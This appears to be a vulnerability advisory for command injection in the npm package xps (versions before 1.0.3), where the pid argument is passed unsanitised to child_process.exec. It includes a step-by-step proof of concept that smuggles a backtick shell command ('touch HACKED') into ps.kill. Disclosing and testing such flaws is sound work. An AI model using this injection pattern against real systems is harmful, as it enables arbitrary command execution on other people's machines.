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Test your applicationsUpgrade xps to version 1.0.3 or higher.
xps is a cross-platform library for listing and killing processes.
Affected versions of this package are vulnerable to Command Injection. The argument pid is used to build the command that is passed to the child_process.exec function without any sanitization.
create a directory for testing
mkdir poc
cd poc/
install latest vulnerable xps module (v1.0.2):
npm i xps@1.0.2
create the following PoC JavaScript file (poc.js):
const ps = require('xps');
ps.kill('`touch HACKED;`').fork();
make sure that the HACKED file does not exist:
ls
execute the poc.js file:
node poc.js
the HACKED file is created:
ls